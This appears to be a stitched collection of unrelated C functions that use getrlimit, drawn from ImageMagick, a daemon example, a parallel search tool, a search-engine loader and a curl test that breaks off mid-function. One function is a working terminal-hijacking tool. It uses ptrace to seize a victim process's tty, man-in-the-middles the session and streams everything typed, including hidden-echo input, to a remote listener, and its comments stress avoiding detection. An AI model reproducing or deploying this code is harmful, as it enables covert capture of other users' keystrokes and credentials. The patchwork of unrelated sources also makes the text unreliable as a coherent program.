limit=GetEnvironmentValue("MAGICK_THREAD_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("thread"); if (limit != (char *) NULL) { SetOpenMPMaximumThreads((int) StringToUnsignedLong(limit)); (void) SetMagickResourceLimit(ThreadResource,StringToSizeType(limit, 100.0)); limit=DestroyString(limit); } limit=GetEnvironmentValue("MAGICK_TIME_LIMIT"); if (limit == (char *) NULL) limit=GetPolicyValue("time"); if (limit != (char *) NULL) { (void) SetMagickResourceLimit(TimeResource,StringToSizeType(limit,100.0)); limit=DestroyString(limit); } return(MagickTrue); }
void daemonize(const char *cmd) { int i, fd0, fd1, fd2; pid_t pid; struct rlimit rl; struct sigaction sa; /* * Clear file creation mask. */ umask(0); /* * Get maximum number of file descriptiors. */ if (getrlimit(RLIMIT_NOFILE, &rl) < 0) err_quit("%s: can't get file limit", cmd); /* * Become a session leader to lose controlling TTY. */ if ((pid = fork()) < 0) err_quit("%s: can't fork", cmd); else if (pid != 0) /* parent */ exit(0); setsid(); /* * Ensure future opens won't allocate controlling TTYs. */ sa.sa_handler = SIG_IGN; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; if (sigaction(SIGHUP, &sa, NULL) < 0) err_quit("%s: can't ignore SIGHUP", cmd); if ((pid = fork()) < 0) err_quit("%s: can't fork", cmd); else if (pid != 0) /* parent */ exit(0); /* * Change the current working directory to the root so * we don't prevent file systems from being unmounted. */ if (chdir("/") < 0) err_quit("%s: can't change directory to /", cmd); /* * Close all open file descriptors. */ if (rl.rlim_max == RLIM_INFINITY) rl.rlim_max = 1024; for (i = 0; i < rl.rlim_max; i++) close(i); /* * Attach file descriptors 0, 1, and 2 to /dev/null */ fd0 = open("dev/null", O_RDWR); fd1 = dup(0); fd2 = dup(0); /* * Initialize the log file. */ openlog(cmd, LOG_CONS, LOG_DAEMON); if (fd0 != 0 || fd1 != 1 || fd2 != 2) { syslog(LOG_ERR, "unexpected file descriptors %d %d %d", fd0, fd1, fd2); exit(1); } }
int main(int argc, char *argv[]) { int i, j; struct rlimit rlb; char *arg; pthread_t tid; pthread_attr_t pab; argv0 = argv[0]; setlocale(LC_CTYPE, ""); getrlimit(RLIMIT_NOFILE, &rlb); rlb.rlim_cur = rlb.rlim_max; setrlimit(RLIMIT_NOFILE, &rlb); signal(SIGPIPE, SIG_IGN); nworkers = 2; pthread_mutex_init(&print_lock, NULL); pthread_mutex_init(&aworker_lock, NULL); pthread_mutex_init(&matches_lock, NULL); for (i = 1; i < argc && argv[i][0] == '-'; i++) for (j = 1; j > 0 && argv[i][j]; ++j) switch (argv[i][j]) { case '-': ++i; goto EndOptions; case 'V': print_version(stdout); break; case 'd': ++debug; break; case 'i': ignore_case = 1; break; case 'v': ++verbose; break; case 'h': usage(stdout); exit(0); case 'l': ++line_f; break; case 'L': if (argv[i][2]) arg = argv[i]+2; else arg = argv[++i]; if (!arg || sscanf(arg, "%u", &maxlen) != 1) { fprintf(stderr, "%s: Invalid length specification: %s\n", argv[0], arg ? arg : "<null>"); exit(1); } j = -2; break; case 'n': if (argv[i][2]) arg = argv[i]+2; else arg = argv[++i]; if (!arg || sscanf(arg, "%u", &nworkers) != 1) { fprintf(stderr, "%s: Invalid workers specification: %s\n", argv[0], arg ? arg : "<null>"); exit(1); } j = -2; break; default: fprintf(stderr, "%s: unknown command line switch: -%c\n", argv[0], argv[i][j]); exit(1); } EndOptions: rstr = mystrdup(argv[i++]); rlen = deslash(rstr); if (bm_init(&bmb, rstr, rlen, ignore_case) < 0) { fprintf(stderr, "%s: Failed search string setup: %s\n", argv[0], rstr); exit(1); } max_depth = rlb.rlim_max - nworkers - 16; if (debug) fprintf(stderr, "max_depth = %d, nworkers = %d\n", max_depth, nworkers); klee_make_symbolic(&pqb, sizeof(pqb), "pqueue"); pqueue_init(&pqb, nworkers + 8); pthread_attr_init(&pab); pthread_attr_setscope(&pab, PTHREAD_SCOPE_SYSTEM); aworkers = nworkers; for (j = 0; j < nworkers; ++j){ int succ = pthread_create(&tid, &pab, worker, NULL); if (succ != 0) { fprintf(stderr, "%s: pthread_create: failed to create worker thread\n", argv[0]); exit(1); } } while (i < argc && do_ftw(argv[i++]) == 0) ; pqueue_close(&pqb); if (debug) fprintf(stderr, "Waiting for workers to finish...\n"); pthread_mutex_lock(&aworker_lock); while (aworkers > 0) pthread_cond_wait(&aworker_cv, &aworker_lock); pthread_mutex_unlock(&aworker_lock); if (debug) fprintf(stderr, "n_files = %d, n_matches = %d, n_workers = %d, n_Mbytes = %d\n", n_files, n_matches, nworkers, (int) (n_bytes / 1000000)); return n_matches; }
int main(int argc, char **argv){ int i, retval; int opt; int retcode = 0; int tmp_fd, fd_max; int ptrace_error; int original_tty_fd, new_tty_fd; int bytes_read; int tmp_flag; int current_sig; int target_pid; int target_fd_count, *target_fds = NULL; int fcntl_flags; char *hostname_index; char scratch[LOCAL_BUFFER_LEN]; char *remote_scratch = NULL; char char_read; char *tmp_ptr; char *tty_name; struct addrinfo addrinfo_hint, *addrinfo_result, *addrinfo_ptr; struct ptrace_do *target; struct termios saved_termios_attrs, new_termios_attrs; struct sockaddr sa; struct sigaction act, oldact; struct winsize argp; struct stat tty_info; socklen_t sa_len; fd_set fd_select; pid_t sig_pid; void *remote_addr; struct rlimit fd_limit; char *filename = NULL; char *hostname = NULL; while ((opt = getopt(argc, argv, "f:n:")) != -1) { switch (opt) { case 'f': filename = optarg; break; case 'n': hostname = optarg; break; case 'h': default: usage(); } } if((argc - optind) != 1){ usage(); } if((filename && hostname) || !(filename || hostname)){ usage(); } hostname_index = NULL; if(hostname){ if((hostname_index = index(hostname, ':')) == NULL){ usage(); } *hostname_index = '\0'; hostname_index++; } if(!(target_pid = strtol(argv[optind], NULL, 10))){ usage(); } /* * We're going to mess around with hijacking the tty for a login shell. SIGHUP is a certainty. */ signal(SIGHUP, SIG_IGN); /* * We aren't *really* a daemon, because we will end up with a controlling tty. * However, we will act daemon-like otherwise. Lets do those daemon-like things now. */ umask(0); if((retval = fork()) == -1){ error(-1, errno, "fork()"); } if(retval){ return(0); } if((int) (retval = setsid()) == -1){ error(-1, errno, "setsid()"); } if((retval = chdir("/")) == -1){ error(-1, errno, "chdir(\"/\")"); } if((retval = getrlimit(RLIMIT_NOFILE, &fd_limit))){ error(-1, errno, "getrlimit(RLIMIT_NOFILE, %lx)", (unsigned long) &fd_limit); } // Lets close any file descriptors we may have inherited. for(i = 0; i < (int) fd_limit.rlim_max; i++){ if(i != STDERR_FILENO){ close(i); } } /************************************************************* * Connect to the listener and set up stdout and stderr *************************************************************/ addrinfo_ptr = NULL; if(hostname){ memset(&addrinfo_hint, 0, sizeof(struct addrinfo)); addrinfo_hint.ai_family = AF_UNSPEC; addrinfo_hint.ai_socktype = SOCK_STREAM; if((retval = getaddrinfo(hostname, hostname_index, &addrinfo_hint, &addrinfo_result))){ error(-1, 0, "getaddrinfo(%s, %s, %d, %lx): %s", \ hostname, hostname_index, 0, (unsigned long) &addrinfo_result, gai_strerror(retval)); } for(addrinfo_ptr = addrinfo_result; addrinfo_ptr != NULL; addrinfo_ptr = addrinfo_ptr->ai_next){ if((tmp_fd = socket(addrinfo_ptr->ai_family, addrinfo_ptr->ai_socktype, addrinfo_ptr->ai_protocol)) == -1){ continue; } if((retval = connect(tmp_fd, addrinfo_ptr->ai_addr, addrinfo_ptr->ai_addrlen)) != -1){ break; } close(tmp_fd); } if(addrinfo_ptr == NULL){ error(-1, 0, "Unable to connect to %s:%s. Quiting.", hostname, hostname_index); } /* * We will set the socket non-blocking. If the connection dies, the remote * write() shouldn't block or cause an exit(). We *may* lose data, but not being * detected is the priority here. */ if((fcntl_flags = fcntl(tmp_fd, F_GETFL, 0)) == -1){ error(-1, errno, "fcntl(%d, FGETFL, 0)", tmp_fd); } fcntl_flags |= O_NONBLOCK; if((retval = fcntl(tmp_fd, F_SETFL, fcntl_flags)) == -1){ error(-1, errno, "fcntl(%d, FSETFL, %d)", tmp_fd, fcntl_flags); } }else if(filename){ if((tmp_fd = open(filename, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR)) == -1){ error(-1, 0, "Unable to open file: %s Quiting.", filename); } }else{ error(-1, 0, "No listener (network or file) specified. Quitting. (Should not be here!)"); } if((retval = close(STDERR_FILENO)) == -1){ error(-1, errno, "close(%d)", STDERR_FILENO); } if((retval = dup2(tmp_fd, STDERR_FILENO)) == -1){ error(-1, errno, "dup2(%d, %d)", tmp_fd, STDERR_FILENO); } if((retval = dup2(tmp_fd, STDOUT_FILENO)) == -1){ error(-1, errno, "dup2(%d, %d)", tmp_fd, STDOUT_FILENO); } /* * This helps with a race condition if being launched out of the target's .profile in order * to attack the login shell. Apparently, bash sources the .profile *before* it configures the tty. */ sleep(ATTATCH_DELAY); /*************************************** * Print out some initialization data. * ***************************************/ memset(scratch, 0, LOCAL_BUFFER_LEN); if((retval = gethostname(scratch, LOCAL_BUFFER_LEN)) == -1){ error(-1, errno, "gethostname(%lx, %d)", (unsigned long) scratch, LOCAL_BUFFER_LEN); } printf("################################\n"); printf("# hostname: %s\n", scratch); if(hostname){ memset(&sa, 0, sizeof(sa)); sa_len = sizeof(sa); if((retval = getsockname(tmp_fd, &sa, &sa_len)) == -1){ error(-1, errno, "getsockname(%d, %lx, %lx)", tmp_fd, (unsigned long) &sa, (unsigned long) &sa_len); } memset(scratch, 0, LOCAL_BUFFER_LEN); switch(addrinfo_ptr->ai_family){ case AF_INET: if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in *) &sa)->sin_addr), scratch, LOCAL_BUFFER_LEN) == NULL){ error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN); } break; case AF_INET6: if(inet_ntop(addrinfo_ptr->ai_family, &(((struct sockaddr_in6 *) &sa)->sin6_addr), scratch, LOCAL_BUFFER_LEN) == NULL){ error(-1, errno, "inet_ntop(%d, %lx, %lx, %d)", addrinfo_ptr->ai_family, (unsigned long) &(sa.sa_data), (unsigned long) scratch, LOCAL_BUFFER_LEN); } break; default: error(-1, 0, "unknown ai_family: %d\n", addrinfo_ptr->ai_family); } printf("# ip address: %s\n", scratch); freeaddrinfo(addrinfo_result); } if((retval = close(tmp_fd)) == -1){ error(-1, errno, "close(%d)", tmp_fd); } printf("# username: %s\n", getenv("LOGNAME")); printf("################################\n"); fflush(stdout); /************************************** * Open the original tty for our use. * **************************************/ if((tty_name = ctty_get_name(target_pid)) == NULL){ error(-1, errno, "ctty_get_name(%d)", target_pid); } if((target_fd_count = ctty_get_fds(target_pid, tty_name, &target_fds)) == -1){ error(-1, errno, "ctty_get_fds(%d, %s, %lx)", target_pid, tty_name, (unsigned long) &target_fds); } if((original_tty_fd = open(tty_name, O_RDWR|O_NOCTTY)) == -1){ error(-1, errno, "open(%s, %d)", tty_name, O_RDWR); } if((retval = fstat(original_tty_fd, &tty_info)) == -1){ error(-1, errno, "fstat(%d, %lx)", original_tty_fd, (unsigned long) &tty_info); } if((retval = tcgetattr(original_tty_fd, &saved_termios_attrs)) == -1){ error(-1, errno, "tcgetattr(%d, %lx)", original_tty_fd, (unsigned long) &saved_termios_attrs); } /****************************** * Setup our master terminal. * ******************************/ if((new_tty_fd = posix_openpt(O_RDWR)) == -1){ error(-1, errno, "posix_openpt(%d)", O_RDWR); } if(grantpt(new_tty_fd)){ error(-1, errno, "grantpt(%d)", new_tty_fd); } if(unlockpt(new_tty_fd)){ error(-1, errno, "unlockpt(%d)", new_tty_fd); } if((retval = tcsetattr(new_tty_fd, TCSANOW, &saved_termios_attrs)) == -1){ error(-1, errno, "tcgetattr(%d, %lx)", new_tty_fd, (unsigned long) &saved_termios_attrs); } /*************************************************************************** * Hook into the target process and mangle the target's fds appropriately. * ***************************************************************************/ ptrace_error = 0; if((target = ptrace_do_init(target_pid)) == NULL){ error(0, errno, "ptrace_do_init(%d)", target_pid); ptrace_error = 1; goto CLEAN_UP; } for(i = 0; i < target_fd_count; i++){ if(!i){ /* * Quoted from linux/drivers/tty/tty_io.c (kernel source), regarding disassociate_ctty(): * It performs the following functions: * (1) Sends a SIGHUP and SIGCONT to the foreground process group * (2) Clears the tty from being controlling the session * (3) Clears the controlling tty for all processes in the * session group. */ ptrace_do_sig_ignore(target, SIGHUP); ptrace_do_sig_ignore(target, SIGCONT); retval = (int) ptrace_do_syscall(target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); if(errno){ error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ (unsigned long) target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); ptrace_error = 1; goto CLEAN_UP; }else if(retval < 0){ error(0, -retval, "remote ioctl(%d, %d)", target_fds[i], TIOCNOTTY); ptrace_error = 1; goto CLEAN_UP; } /* Now set original tty as our ctty in the local context. */ if((retval = ioctl(original_tty_fd, TIOCSCTTY, 1)) == -1){ error(0, errno, "ioctl(%d, %d, %d)", original_tty_fd, TIOCSCTTY, 1); ptrace_error = 1; goto CLEAN_UP; } } retval = (int) ptrace_do_syscall(target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); if(errno){ error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ (unsigned long) target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); ptrace_error = 1; goto CLEAN_UP; }else if(retval < 0){ error(0, -retval, "remote close(%d)", target_fds[i]); ptrace_error = 1; goto CLEAN_UP; } } if((remote_scratch = (char *) ptrace_do_malloc(target, READLINE_BUFFER_LEN)) == NULL){ error(0, errno, "ptrace_do_malloc(%lx, %d)", \ (unsigned long) target, READLINE_BUFFER_LEN); ptrace_error = 1; goto CLEAN_UP; } memset(remote_scratch, 0, READLINE_BUFFER_LEN); if(!(tmp_ptr = ptsname(new_tty_fd))){ error(-1, errno, "ptsname(%d)", new_tty_fd); } // If we are running as root, make sure to chmod the new tty to the match the old one. if(!getuid()){ if((retval = chown(tmp_ptr, tty_info.st_uid, -1)) == -1){ error(-1, errno, "chown(%s, %d, %d)", tmp_ptr, tty_info.st_uid, -1); } } memcpy(remote_scratch, tmp_ptr, strlen(tmp_ptr)); if((remote_addr = ptrace_do_push_mem(target, remote_scratch)) == NULL){ error(0, errno, "ptrace_do_push_mem(%lx, %lx)", \ (unsigned long) target, (unsigned long) remote_scratch); ptrace_error = 1; goto CLEAN_UP; } retval = (int) ptrace_do_syscall(target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); if(errno){ error(0, errno, "ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d)", \ (unsigned long) target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); ptrace_error = 1; goto CLEAN_UP; }else if(retval < 0){ error(0, -retval, "remote open(%lx, %d)", (unsigned long) remote_addr, O_RDWR); ptrace_error = 1; goto CLEAN_UP; } tmp_fd = retval; tmp_flag = 0; for(i = 0; i < target_fd_count; i++){ if(target_fds[i] == tmp_fd){ tmp_flag = 1; }else{ retval = (int) ptrace_do_syscall(target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); if(errno){ error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ (unsigned long) target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); ptrace_error = 1; goto CLEAN_UP; }else if(retval < 0){ error(0, -retval, "remote dup2(%d, %d)", tmp_fd, target_fds[i]); ptrace_error = 1; goto CLEAN_UP; } } } if(!tmp_flag){ retval = (int) ptrace_do_syscall(target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); if(errno){ error(0, errno, "ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ (unsigned long) target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); ptrace_error = 1; goto CLEAN_UP; }else if(retval < 0){ error(0, -retval, "remote close(%d)", tmp_fd); ptrace_error = 1; goto CLEAN_UP; } } CLEAN_UP: ptrace_do_cleanup(target); if(ptrace_error){ error(-1, 0, "Fatal error from ptrace_do. Quitting."); } /************************************************** * Set the original tty to raw mode. **************************************************/ memcpy(&new_termios_attrs, &saved_termios_attrs, sizeof(struct termios)); new_termios_attrs.c_lflag &= ~(ECHO|ICANON|IEXTEN|ISIG); new_termios_attrs.c_iflag &= ~(BRKINT|ICRNL|INPCK|ISTRIP|IXON); new_termios_attrs.c_cflag &= ~(CSIZE|PARENB); new_termios_attrs.c_cflag |= CS8; new_termios_attrs.c_oflag &= ~(OPOST); new_termios_attrs.c_cc[VMIN] = 1; new_termios_attrs.c_cc[VTIME] = 0; if((retval = tcsetattr(original_tty_fd, TCSANOW, &new_termios_attrs)) == -1){ error(-1, errno, "tcsetattr(%d, TCSANOW, %lx)", \ original_tty_fd, (unsigned long) &new_termios_attrs); } /************************************************** * Set the signals for appropriate mitm handling. * **************************************************/ memset(&act, 0, sizeof(act)); memset(&oldact, 0, sizeof(oldact)); act.sa_handler = signal_handler; if((retval = sigaction(SIGHUP, &act, &oldact)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %lx): %s\n", \ program_invocation_short_name, \ SIGHUP, (unsigned long) &act, (unsigned long) &oldact, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = sigaction(SIGINT, &act, NULL)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ program_invocation_short_name, \ SIGINT, (unsigned long) &act, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = sigaction(SIGQUIT, &act, NULL)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ program_invocation_short_name, \ SIGQUIT, (unsigned long) &act, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = sigaction(SIGTSTP, &act, NULL)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ program_invocation_short_name, \ SIGTSTP, (unsigned long) &act, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = sigaction(SIGWINCH, &act, NULL)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %p: %s)", \ program_invocation_short_name, \ SIGWINCH, (unsigned long) &act, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } /* * The current TIOCGWINSZ for the new terminal will be incorrect at this point. * Lets force an initial SIGWINCH to ensure it gets set appropriately. */ if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ program_invocation_short_name, \ original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ program_invocation_short_name, \ original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = kill(-target_pid, SIGWINCH)) == -1){ fprintf(stderr, "%s: kill(%d, %d): %s\n", \ program_invocation_short_name, \ -target_pid, SIGWINCH, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } /****************************** * Mitm the terminal traffic. * ******************************/ fd_max = (new_tty_fd > original_tty_fd) ? new_tty_fd : original_tty_fd; char_read = '\r'; while(1){ FD_ZERO(&fd_select); FD_SET(new_tty_fd, &fd_select); FD_SET(original_tty_fd, &fd_select); if(((retval = select(fd_max + 1, &fd_select, NULL, NULL, NULL)) == -1) && !sig_found){ fprintf(stderr, "%s: select(%d, %lx, %p, %p, %p): %s\n", \ program_invocation_short_name, \ fd_max + 1, (unsigned long) &fd_select, NULL, NULL, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if(sig_found){ /* Minimize the risk of more signals being delivered while we are already handling signals. */ current_sig = sig_found; sig_found = 0; switch(current_sig){ /* * Signals we want to handle: * SIGHUP -> Send SIGHUP to the target session, restore our SIGHUP to default, then resend to ourselves. * SIGINT -> Send SIGINT to the current target foreground job. * SIGQUIT -> Send SIGQUIT to the current target foreground job. * SIGTSTP -> Send SIGTSTP to the current target foreground job. * SIGWINCH -> Grab TIOCGWINSZ from old tty. Set TIOCSWINSZ for new tty. Send SIGWINCH to the current target session. */ case SIGHUP: if((retval = kill(-target_pid, current_sig)) == -1){ fprintf(stderr, "%s: kill(%d, %d): %s\n", \ program_invocation_short_name, \ -target_pid, current_sig, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = sigaction(current_sig, &oldact, NULL)) == -1){ fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ program_invocation_short_name, \ current_sig, (unsigned long) &oldact, NULL, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = raise(current_sig)) != 0){ fprintf(stderr, "%s: raise(%d): %s\n", \ program_invocation_short_name, \ current_sig, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } break; case SIGINT: case SIGQUIT: case SIGTSTP: if((sig_pid = tcgetpgrp(new_tty_fd)) == -1){ fprintf(stderr, "%s: tcgetpgrp(%d): %s\n", \ program_invocation_short_name, \ new_tty_fd, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = kill(-sig_pid, current_sig)) == -1){ fprintf(stderr, "%s: kill(%d, %d): %s", \ program_invocation_short_name, \ sig_pid, current_sig, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } break; case SIGWINCH: if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ program_invocation_short_name, \ original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ program_invocation_short_name, \ original_tty_fd, TIOCSWINSZ, (unsigned long) &argp, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if((retval = kill(-target_pid, current_sig)) == -1){ fprintf(stderr, "%s: kill(%d, %d): %s", \ program_invocation_short_name, \ -target_pid, current_sig, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } break; default: fprintf(stderr, "%s: Undefined signal found: %d", \ program_invocation_short_name, \ current_sig); retcode = -errno; goto RESET_TERM; } current_sig = 0; /* * From here on out, we pass chars back and forth, while copying them off * to the remote listener. The "char_read" hack is a cheap way to watch for * a "no echo" situation. (Bash keeps its own state for the tty and lies to * the user about echo on vs echo off. On the back end it's always raw mode. * I suspect this is a natural result of using the GNU readline library.) */ }else if(FD_ISSET(original_tty_fd, &fd_select)){ memset(scratch, 0, sizeof(scratch)); if((retval = read(original_tty_fd, scratch, sizeof(scratch))) == -1){ fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ original_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ strerror(errno)); retcode = -errno; goto RESET_TERM; } bytes_read = (retval == -1) ? 0 : retval; if((retval = write(new_tty_fd, scratch, bytes_read)) == -1){ fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ new_tty_fd, (unsigned long) scratch, bytes_read, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if(!char_read){ if(bytes_read == 1){ char_read = scratch[0]; } }else{ if(bytes_read == 1){ if(write(STDOUT_FILENO, &char_read, 1) == -1){ fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ STDOUT_FILENO, (unsigned long) &char_read, 1, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } char_read = scratch[0]; } } }else if(FD_ISSET(new_tty_fd, &fd_select)){ char_read = '\0'; memset(scratch, 0, sizeof(scratch)); errno = 0; if(((retval = read(new_tty_fd, scratch, sizeof(scratch))) == -1) && (errno != EIO)){ fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ new_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ strerror(errno)); retcode = -errno; goto RESET_TERM; }else if(!retval || errno == EIO){ retcode = 0; goto RESET_TERM; } bytes_read = (retval == -1) ? 0 : retval; if((retval = write(original_tty_fd, scratch, bytes_read)) == -1){ fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ original_tty_fd, (unsigned long) &char_read, bytes_read, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } if(write(STDOUT_FILENO, scratch, bytes_read) == -1){ fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ program_invocation_short_name, \ STDOUT_FILENO, (unsigned long) &char_read, 1, \ strerror(errno)); retcode = -errno; goto RESET_TERM; } } } RESET_TERM: tcsetattr(original_tty_fd, TCSANOW, &saved_termios_attrs); return(retcode); }
int __hscore_getrlimit(int resource, struct rlimit *rlim) { return (getrlimit(resource, rlim)); }
void adultWeightopenMemArray2(char subname[]) { FILE *FH; int i, y ,z; int LocalLots; char LotFile[128]; int branksize; off_t totsize = 0; struct stat inode; int locklimit; //finner grensen på antal sider vi kan låse i minne struct rlimit rlim; if (getrlimit(RLIMIT_MEMLOCK, &rlim) < 0) { printf("Warning: Cannot raise RLIMIT_MEMLOCK limits."); locklimit = 0; } else { locklimit = rlim.rlim_cur; } //aloker minne for rank for de forskjelige lottene LocalLots=0; for (i=0;i<maxLots;i++) { //sjekekr om dette er en lokal lot adultWeightMemArray[i] = 0; GetFilPathForLot(LotFile,i,subname); strcat(LotFile,"AdultWeight"); // prøver å opne if ( (FH = fopen(LotFile,"r+b")) == NULL ) { //perror(LotFile); continue; } fstat(fileno(FH),&inode); if (inode.st_size == 0) { printf("adultWeightopenMemArray2: file is emty\n"); continue; } //#ifdef DEBUG printf("loaded lot %i\n",i); //#endif branksize = sizeof(unsigned char) * NrofDocIDsInLot; #ifdef MMAP_ADULT if (inode.st_size < branksize) { fprintf(stderr,"adultWeightopenMemArray: file is smaler then size. file size %"PRId64", suposed to be %i\n",inode.st_size,branksize); /* Stretch the file size to the size of the (mmapped) array of ints */ if (fseek(FH, branksize +1, SEEK_SET) == -1) { perror("Error calling fseek() to 'stretch' the file"); exit(EXIT_FAILURE); } /* Something needs to be written at the end of the file to * have the file actually have the new size. * Just writing an empty string at the current file position will do. * * Note: * - The current position in the file is at the end of the stretched * file due to the call to fseek(). * - An empty string is actually a single '\0' character, so a zero-byte * will be written at the last byte of the file. */ if (fwrite("", 1, 1, FH) != 1) { perror("Error writing last byte of the file"); exit(EXIT_FAILURE); } } if ((adultWeightMemArray[i] = mmap(0,branksize,PROT_READ,MAP_SHARED,fileno(FH),0) ) == NULL) { fprintf(stderr,"adultWeightopenMemArray: can't mmap for lot %i\n",i); perror("mmap"); } //hvis vi kan låse uendelig med minne gjør vi det if (locklimit == -1) { //laster all rankerings dataen fra minne, slik ad det går fort å leste den inn siden z = 0; for(y=0;y<NrofDocIDsInLot;y++) { z += adultWeightMemArray[i][y]; } //låser minne if (mlock(adultWeightMemArray[i],branksize) != 0) { perror("mlock"); //exit(1); } } #else if ((adultWeightMemArray[i] = (unsigned char*)malloc(branksize)) == NULL) { printf("malloc eror for lot %i\n",i); perror("malloc"); exit(1); } fread(adultWeightMemArray[i],branksize,1,FH); #endif //debug: viser alle rankene vi laster //for(y=0;y<branksize;y++) { // printf("DocID %i, rank %i\n",y,adultWeightMemArray[i][y]); //} fclose(FH); totsize += branksize; ++LocalLots; } printf("adultWeightopenMemArray: have %i local lots\n",LocalLots); printf("adultWeightopenMemArray: loaded a total of %"PRId64" bytes\n",totsize); }
static int rlimit(int keep_open) { int nitems, i; int *memchunk = NULL; char *fmt; struct rlimit rl; char strbuff[256]; char strbuff1[81]; char strbuff2[81]; char fmt_u[] = "%u"; char fmt_lu[] = "%lu"; #ifdef HAVE_LONGLONG char fmt_llu[] = "%llu"; if (sizeof(rl.rlim_max) > sizeof(long)) fmt = fmt_llu; else #endif fmt = (sizeof(rl.rlim_max) < sizeof(long))?fmt_u:fmt_lu; /* get initial open file limits */ if (getrlimit(RLIMIT_NOFILE, &rl) != 0) { store_errmsg("getrlimit() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); return -1; } /* show initial open file limits */ #ifdef RLIM_INFINITY if (rl.rlim_cur == RLIM_INFINITY) strcpy(strbuff, "INFINITY"); else #endif sprintf(strbuff, fmt, rl.rlim_cur); fprintf(stderr, "initial soft limit: %s\n", strbuff); #ifdef RLIM_INFINITY if (rl.rlim_max == RLIM_INFINITY) strcpy(strbuff, "INFINITY"); else #endif sprintf(strbuff, fmt, rl.rlim_max); fprintf(stderr, "initial hard limit: %s\n", strbuff); /* show our constants */ fprintf(stderr, "test518 FD_SETSIZE: %d\n", FD_SETSIZE); fprintf(stderr, "test518 NUM_OPEN : %d\n", NUM_OPEN); fprintf(stderr, "test518 NUM_NEEDED: %d\n", NUM_NEEDED); /* * if soft limit and hard limit are different we ask the * system to raise soft limit all the way up to the hard * limit. Due to some other system limit the soft limit * might not be raised up to the hard limit. So from this * point the resulting soft limit is our limit. Trying to * open more than soft limit file descriptors will fail. */ if (rl.rlim_cur != rl.rlim_max) { #ifdef OPEN_MAX if ((rl.rlim_cur > 0) && (rl.rlim_cur < OPEN_MAX)) { fprintf(stderr, "raising soft limit up to OPEN_MAX\n"); rl.rlim_cur = OPEN_MAX; if (setrlimit(RLIMIT_NOFILE, &rl) != 0) { /* on failure don't abort just issue a warning */ store_errmsg("setrlimit() failed", ERRNO); fprintf(stderr, "%s\n", msgbuff); msgbuff[0] = '\0'; } } #endif fprintf(stderr, "raising soft limit up to hard limit\n"); 